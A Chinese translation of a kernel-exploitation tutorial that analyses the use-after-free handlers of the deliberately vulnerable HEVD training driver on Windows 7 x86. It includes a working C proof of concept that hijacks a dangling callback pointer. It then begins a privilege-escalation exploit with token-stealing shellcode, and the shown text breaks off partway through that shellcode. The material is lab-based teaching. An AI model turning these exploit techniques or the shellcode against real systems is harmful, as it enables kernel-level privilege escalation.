Windows 内核 Use After Frees (UaFs) 介绍

admin 2025年3月15日21:52:47评论3 views字数 23911阅读79分42秒阅读模式

【翻译】0x02 - Introduction to Windows Kernel Use After Frees (UaFs)


如果你一直在按顺序学习本系列,到目前为止,你应该已经在 Windows 7 (x86) 和 Windows 10 (x64) 中利用了基本的 Stack Overflow。尽管这是一项重大成就,但还有更多可能导致代码执行的漏洞。熟悉它们的最佳方式是在具有最少缓解措施的系统上利用它们。因此,我们将回到 Windows 7 (x86)。

此外,这次我们不会使用 Ghidra,而是使用源代码。在下一个指南中,我们将重新引入 Ghidra,让你了解如何使用源代码或反编译器输出来识别漏洞的宝贵视角。

目录

  • 什么是 Use After Free(高级概述)
  • 使用源代码 - 了解环境
    • 理解 AllocateUaFObjectNonPagedPoolIoctlHandler
    • 理解 UseUaFObjectNonPagedPoolIoctlHandler
    • 理解 FreeUaFObjectNonPagedPoolIoctlHandler
    • 理解 AllocateFakeObjectNonPagedPoolIoctlHandler
  • 函数总结
  • 漏洞利用
  • 参考资料

什么是 Use After Free(高级概述)

如果你对 Use-After-Free 不是很熟悉,让我们对这类漏洞进行一个快速的高级概述。基本上,Use After Free (UaF) 发生在我们在对象被释放(FreeAfter 仍然使用Use)它的情况。这个"对象"可以是内存中加载的任何结构或类,之后被释放。

用一个非技术性的例子来说,假设你在汽车下面工作,并把工具放在你身边。你是倒着工作的,所以你没有注意你的工具箱,你只是简单地伸手到工具箱里摸索你需要的东西。

Windows 内核 Use After Frees (UaFs) 介绍
在这个"工具箱"中,你只有一把扳手(我知道这很难相信),你拿起扳手,但是你没有把它放回工具箱,而是把它放在了你脚边的地板上。虽然它在你的脚边,但你认为扳手已经放回了原来的位置。

在你没有注意到的情况下,有人把一罐汽水扔进了工具箱。

Windows 内核 Use After Frees (UaFs) 介绍

当你去拿扳手时,你没有注意到它和罐子之间的区别(因为你有脚蹼,你是一只企鹅)。所以,你最终把可乐倒在了你的新礼服上。

Windows 内核 Use After Frees (UaFs) 介绍

哦不!!我们成为了 UaF 的受害者,那个人成功地利用了 UaF。

这与计算机有什么关系?

  • 盲目伸手到工具箱的例子类似于程序依赖内存而不"查看"(验证它是否仍然有效或已更改)的方式。
  • 扳手被汽水罐意外替换的情况展示了过时的引用(指针)如何导致意外和有害的结果。
  • 扔汽水罐的"那个人"代表攻击者利用已释放的内存(例如,将恶意数据/代码注入重用的内存中)。

有了这些,我们应该准备好开始了。

使用源代码 - 了解环境

我们首先要确定的是 I/O Control Codes 的位置。从外观上看,每个漏洞都有自己的"处理程序"函数。

./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler

我们对 UseAfterFreeNonPagedPool I/O Control Codes 感兴趣。

./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler

根据命名约定,我们可以识别出以下函数:

AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(

如果我们追踪这些函数调用的使用位置,我们会发现它们位于 ./HackSysExtremeVulnerableDriver.c 文件中,该文件包含一个 switch 语句,允许我们触发易受攻击的函数。

294         case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");
296             Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");
298             break;
299         case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");
301             Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");
303             break;
304         case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");
306             Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");
308             break;
309         case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");
311             Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");
313             break;

然而,这仍然没有给我们提供 I/O Control Codes,所以在尝试使用一些 grep-fu 在每个文件中搜索之前,让我们检查一下头文件 HackSysExtremeVulnerableDriver.h

在其中,我们找到了一个 IOCTL Codes 列表 Windows 内核 Use After Frees (UaFs) 介绍

 81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
82#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
83#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
84#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
85#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
86#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
87#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
88#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)
89#define HEVD_IOCTL_TYPE_CONFUSION                                IOCTL(0x808)
90#define HEVD_IOCTL_INTEGER_OVERFLOW                              IOCTL(0x809)
91#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)
92#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
93#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
94#define HEVD_IOCTL_DOUBLE_FETCH                                  IOCTL(0x80D)
95#define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS                   IOCTL(0x80E)
96#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL              IOCTL(0x80F)
97#define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION            IOCTL(0x810)
98#define HEVD_IOCTL_WRITE_NULL                                    IOCTL(0x811)
99#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX             IOCTL(0x812)
100#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX           IOCTL(0x813)
101#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX         IOCTL(0x814)
102#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX              IOCTL(0x815)
103#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX             IOCTL(0x816)
104#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX        IOCTL(0x817)
105#define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x818)
106#define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x819)
107#define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x81A)
108#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x81B)

然而,对于本教程,我们将只关注以下内容:

 85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
 86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
 87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
 88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)

理解 AllocateUaFObjectNonPagedPoolIoctlHandler

我们可以在 UseAfterFreeNonPagedPool.c 文件的第 357 行找到这个函数。

357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359     _In_ PIRP Irp,
360     _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363     NTSTATUS Status = STATUS_UNSUCCESSFUL;
364
365     UNREFERENCED_PARAMETER(Irp);
366     UNREFERENCED_PARAMETER(IrpSp);
367     PAGED_CODE();
368
369     Status = AllocateUaFObjectNonPagedPool();
370
371     return Status;
372 }

该函数最终调用AllocateUaFObjectNonPagedPool,它从第 86 行开始。

 86 NTSTATUS
87 AllocateUaFObjectNonPagedPool(
88     VOID
89 )
90 {
91     NTSTATUS Status = STATUS_UNSUCCESSFUL;
92     PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
93
94     PAGED_CODE();
95
96     __try
97     {
98         DbgPrint("[+] Allocating UaF Objectn");
99
100         //
101         // Allocate Pool chunk
102         //
103
104         UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105             NonPagedPool,
106             sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107             (ULONG)POOL_TAG
108         );
109
110         if (!UseAfterFree)
111         {   
112             //
113             // Unable to allocate Pool chunk
114             //
115             
116             DbgPrint("[-] Unable to allocate Pool chunkn");
117             
118             Status = STATUS_NO_MEMORY;
119             return Status;
120         }
121         else
122         {   
123             DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
124             DbgPrint("[+] Pool Type: %sn", STRINGIFY(NonPagedPool));
125             DbgPrint("[+] Pool Size: 0x%Xn"sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126             DbgPrint("[+] Pool Chunk: 0x%pn", UseAfterFree);
127         }
128
129         //
130         // Fill the buffer with ASCII 'A'
131         //
132
133         RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134
135         //
136         // Null terminate the char buffer
137         //
138
139         UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '';
140
141         //
142         // Set the object Callback function
143         //
144
145         UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146
147         //
148         // Assign the address of UseAfterFree to a global variable
149         //
150
151         g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152
153         DbgPrint("[+] UseAfterFree Object: 0x%pn", UseAfterFree);
154         DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
155         DbgPrint("[+] UseAfterFree->Callback: 0x%pn", UseAfterFree->Callback);
156     }
157     __except (EXCEPTION_EXECUTE_HANDLER)
158     {
159         Status = GetExceptionCode();
160         DbgPrint("[-] Exception Code: 0x%Xn", Status);
161     }
162
163     return Status;
164 }

让我们从高层次分析这个函数的功能。

  • 91-92行,我们看到声明的变量,其中一个是包含两个成员的自定义结构:一个function pointer和一个char buffer[0x54]
  • 在第94行,我们看到定义了 PAGED_CODE 宏。这个宏将此函数标记为可分页的。这意味着,如果函数不在内存中,它可能会被移动到磁盘上。当操作系统需要为其他任务提供物理内存时会这样做。
  • 104-108行,我们看到调用了 ExAllocatePoolWithTag(),这是一个 Windows API 调用。基本上,它的作用是分配指定类型的"池内存",并返回指向已分配块的指针,正如我们所见,该指针随后被转换。
    • 参数 1:这里我们使用 Nonpaged pool,它可以从任何 IRQL 访问,值得注意的是,使用此类型分配的内存是EXECUTABLE
    • 参数 2:块的大小。
    • 参数 3:池标签,据我了解,这是用于调试目的。我们可以在 common.h 中找到它,表示为 Hack 或"kcaH",因为它必须以相反的顺序指定。
  • 110-127行我们可以忽略,因为它只是对上一个调用进行错误/成功检查
  • 在第133行,我们基本上看到了对RtlFillMemory()的调用,这是另一个 Windows API(在 nix 中是 memset)。
  • 在第139行,我们对填充了 A 的缓冲区进行 NULL 终止。
  • 在第145行,我们将函数指针设置为UaFObjectCallbackNonPagedPool函数。
  • 在第151行,我们将分配对象的地址分配给一个全局变量。

非常直接!我们只是分配一些内存(标记为可执行)来保存PUSE_AFTER_FREE_NON_PAGED_POOL结构,填充Buffer成员(字符数组),并设置 Callback 成员(函数指针)。结构定义如下所示:

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {
   
 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

理解 UseUaFObjectNonPagedPoolIoctlHandler

再次,这是一个调用另一个函数的"封装器":

375 /// <summary>                                                             
376/// Use UaF Object NonPagedPool Ioctl Handler                             
377/// </summary>                                                            
378/// <param name="Irp">The pointer to IRP</param>                          
379/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380/// <returns>NTSTATUS</returns>                                           
381 NTSTATUS                                                                  
382 UseUaFObjectNonPagedPoolIoctlHandler(                                     
383     _In_ PIRP Irp,                                                        
384     _In_ PIO_STACK_LOCATION IrpSp                                         
385 )                                                                         
386 {                                                                         
387     NTSTATUS Status = STATUS_UNSUCCESSFUL;                                
388                                                                           
389     UNREFERENCED_PARAMETER(Irp);                                          
390     UNREFERENCED_PARAMETER(IrpSp);                                        
391     PAGED_CODE();                                                         
392                                                                           
393     Status = UseUaFObjectNonPagedPool();                                  
394                                                                           
395     return Status;                                                        
396 } 

让我们看看UseUaFObjectNonPagedPool()函数。

171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173     VOID
174 )
175 {
176     NTSTATUS Status = STATUS_UNSUCCESSFUL;
177
178     PAGED_CODE();
179
180     __try
181     {
182         if (g_UseAfterFreeObjectNonPagedPool)
183         {
184             DbgPrint("[+] Using UaF Objectn");
185             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
186             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%pn", g_UseAfterFreeObjectNonPagedPool->Callback);
187             DbgPrint("[+] Calling Callbackn");
188
189             if (g_UseAfterFreeObjectNonPagedPool->Callback)
190             {
191                 g_UseAfterFreeObjectNonPagedPool->Callback();
192             }
193
194             Status = STATUS_SUCCESS;
195         }
196     }
197     __except (EXCEPTION_EXECUTE_HANDLER)
198     {
199         Status = GetExceptionCode();
200         DbgPrint("[-] Exception Code: 0x%Xn", Status);
201     }
202
203     return Status;
204 }

好的,非常简单明了。我们只是调用了Callback函数指针,之前我们看到它在AllocateUaFObjectNonPagedPoolIoctlHandler()中被设置为UaFObjectCallbackNonPagedPool

理解 FreeUaFObjectNonPagedPoolIoctlHandler

我们再次看到这个处理程序不接受任何参数。

405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407     _In_ PIRP Irp,
408     _In_ PIO_STACK_LOCATION IrpSp
409 )   
410 {   
411     NTSTATUS Status = STATUS_UNSUCCESSFUL;
412
413     UNREFERENCED_PARAMETER(Irp);
414     UNREFERENCED_PARAMETER(IrpSp);
415     PAGED_CODE();
416
417     Status = FreeUaFObjectNonPagedPool();
418
419     return Status;
420 }

让我们看一下FreeUaFObjectNonPagedPool

211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213     VOID
214 )   
215 {   
216     NTSTATUS Status = STATUS_UNSUCCESSFUL;
217     
218     PAGED_CODE();
219     
220     __try
221     {
222         if (g_UseAfterFreeObjectNonPagedPool)
223         {
224             DbgPrint("[+] Freeing UaF Objectn");
225             DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
226             DbgPrint("[+] Pool Chunk: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
227
228#ifdef SECURE
229             //
230             // Secure Note: This is secure because the developer is setting
231             // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232             //
233
234             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235      
236             //
237             // Set to NULL to avoid dangling pointer
238             //
239      
240             g_UseAfterFreeObjectNonPagedPool = NULL;
241#else
242             //
243             // Vulnerability Note: This is a vanilla Use After Free vulnerability
244             // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245             // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246             // (dangling pointer)
247             //
248             
249             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250#endif      
251             
252             Status = STATUS_SUCCESS;
253         }
254     }
255     __except (EXCEPTION_EXECUTE_HANDLER)
256     {   
257         Status = GetExceptionCode();
258         DbgPrint("[-] Exception Code: 0x%Xn", Status);
259     }
260     
261     return Status;
262 }

在这里我们看到了对一个新的 Windows API 函数 ExFreePoolWithTag 的调用。这个函数只是简单地释放一个带有指定标签 (Hack) 的内存池块,但是我们可以看到全局变量 g_UseAfterFreeObjectNonPagedPool 从未被设置为 NULL。这意味着即使在对象被释放后,g_UseAfterFreeObjectNonPagedPool 仍然包含指向已释放对象的指针。正如源代码中提到的 - 这是一个悬空指针。

理解 AllocateFakeObjectNonPagedPoolIoctlHandler

查看这个处理程序,我们可以看到它在第 441 行接收用户输入。

429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431     _In_ PIRP Irp,
432     _In_ PIO_STACK_LOCATION IrpSp
433 )           
434 {           
435     NTSTATUS Status = STATUS_UNSUCCESSFUL;
436     PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437             
438     UNREFERENCED_PARAMETER(Irp);
439     PAGED_CODE();
440
441     UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442     
443     if (UserFakeObject)
444     {   
445         Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446     }
447     
448     return Status;
449 }

从这里,我们调用 AllocateFakeObjectNonPagedPool

270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272     _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275     NTSTATUS Status = STATUS_SUCCESS;
276     PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277
278     PAGED_CODE();
279
280     __try
281     {
282         DbgPrint("[+] Creating Fake Objectn");
283
284         //
285         // Allocate Pool chunk
286         //
287
288         KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289             NonPagedPool,
290             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291             (ULONG)POOL_TAG
292         );
293
294         if (!KernelFakeObject)
295         {   
296             //
297             // Unable to allocate Pool chunk
298             //
299             
300             DbgPrint("[-] Unable to allocate Pool chunkn");
301             
302             Status = STATUS_NO_MEMORY;
303             return Status;
304         }
305         else
306         {   
307             DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
308             DbgPrint("[+] Pool Type: %sn", STRINGIFY(NonPagedPool));
309             DbgPrint("[+] Pool Size: 0x%Xn"sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310             DbgPrint("[+] Pool Chunk: 0x%pn", KernelFakeObject);
311         }
312         
313         //
314         // Verify if the buffer resides in user mode
315         //
316         
317         ProbeForRead(
318             (PVOID)UserFakeObject,
319             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320             (ULONG)__alignof(UCHAR)
321         );
322
323         //
324         // Copy the Fake structure to Pool chunk
325         //
326
327         RtlCopyMemory(
328             (PVOID)KernelFakeObject,
329             (PVOID)UserFakeObject,
330             sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331         );
332
333         //
334         // Null terminate the char buffer
335         //
336
337         KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '';
338
339         DbgPrint("[+] Fake Object: 0x%pn", KernelFakeObject);
340     }
341     __except (EXCEPTION_EXECUTE_HANDLER)
342     {
343         Status = GetExceptionCode();
344         DbgPrint("[-] Exception Code: 0x%Xn", Status);
345     }
346
347     return Status;
348 }

让我们分析一下这段代码:

  • 第 288-311 行,我们像之前一样分配了一个内存块,但这次是一个"假对象"。仅从结构上看,它与 PUSE_AFTER_FREE_NON_PAGED_POOL 对象大小相同
  • 第 317-321 行,我们看到一个新的 Windows API ProbeForRead,它检查用户模式缓冲区是否正确对齐。
  • 第 327-331 行,我们使用 RtlCopyMemory 将用户模式缓冲区移动到假对象分配中
  • 第 333-347 行,我们对缓冲区进行 NULL 终止并返回。

以下是假对象的参考结构:

 68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
 69 {

 70     CHAR Buffer[0x58];
 71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

很好,如果你熟悉用户模式漏洞利用,现在你的眼睛可能已经亮起来了。

函数总结

简而言之,这些函数的功能如下:

函数
总结
AllocateUaFObjectNonPagedPoolIoctlHandler
我们只是分配一些内存(可执行)来保存PUSE_AFTER_FREE_NON_PAGED_POOL结构,填充 Buffer 成员(字符数组),并设置 Callback 成员(函数指针)
UseUaFObjectNonPagedPoolIoctlHandler
调用全局变量g_UseAfterFreeObjectNonPagedPool中的 Callback 函数指针
FreeUaFObjectNonPagedPoolIoctlHandler
释放g_UseAfterFreeObjectNonPagedPool对象,并且没有将变量置 NULL(悬空指针)
AllocateFakeObjectNonPagedPoolIoctlHandler
分配一个与原始分配大小相同的对象,但使用用户控制的输入。

看到这里,我们有一个经典的 UAF。虽然我从未做过 Windows UAF,但我假设假对象将占用先前分配的内存空间。理论上,要利用这一点,我们只需要:

  1. 分配一个USE_AFTER_FREE_NON_PAGED_POOL对象
  2. 释放该对象
  3. 分配一个FAKE_OBJECT_NON_PAGED_POOL对象(重新使用已释放的内存)
  4. 调用g_UseAfterFreeObjectNonPagedPool.Callback,它应该指向被破坏的结构

漏洞利用

从这里开始,编写概念验证 (PoC) 似乎相当简单,而且由于我们有源代码,这应该很容易(从对象大小方面来说)。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedefstruct _FAKE_OBJECT_NON_PAGED_POOL
{

  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

printf("[*] Calling IOCTL Code 0x%xn", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

return;
}

char *allocate_buffer()
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
  {
    printf("[*] Allocated %d bytes (userland)n"sizeof(FAKE_OBJECT_NON_PAGED_POOL));
    memset(buffer, 0x41sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  }

return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
    return-1;
  }

  evilBuffer = allocate_buffer();
if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)n");
    return-1;
  }

printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL objectn");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL0);

printf("[*] Freeing objectn");
  sendIoctl(hHEVD, HEVD_FREE, NULL0);

printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOLn");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

printf("[*] Triggering UAFn");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL0);
}

发送后,我们可以看到我们已成功劫持了执行流程。

Windows 内核 Use After Frees (UaFs) 介绍

现在由于我们看到 41414141,我们可以假设前 4 个字节是函数指针,我们可以根据源代码 (UseAfterFreeNonPagedPool.h) 确认这一点:

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {

 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

让我们编写我们的漏洞利用代码!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedefstruct _FAKE_OBJECT_NON_PAGED_POOL
{

  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

/* sendIoctl:
     Send the IOCTL code to the driver */

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

printf("[*] Calling IOCTL Code 0x%xn", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

return;
}

/* allocate_buffer:
     Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
     was allocated. */

char *allocate_buffer(void *shellcode_addr)
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
  {
    printf("[*] Shellcode located at: %pn", &shellcode_addr);
    memcpy(buffer, &shellcode_addr, 4);
    memset(buffer+4'A'83);
  }

return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
char *evilBuffer = NULL;

char shellcode[] = 

// sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
"x60"                         // pushal 
"x31xc0"                     // xor eax, eax
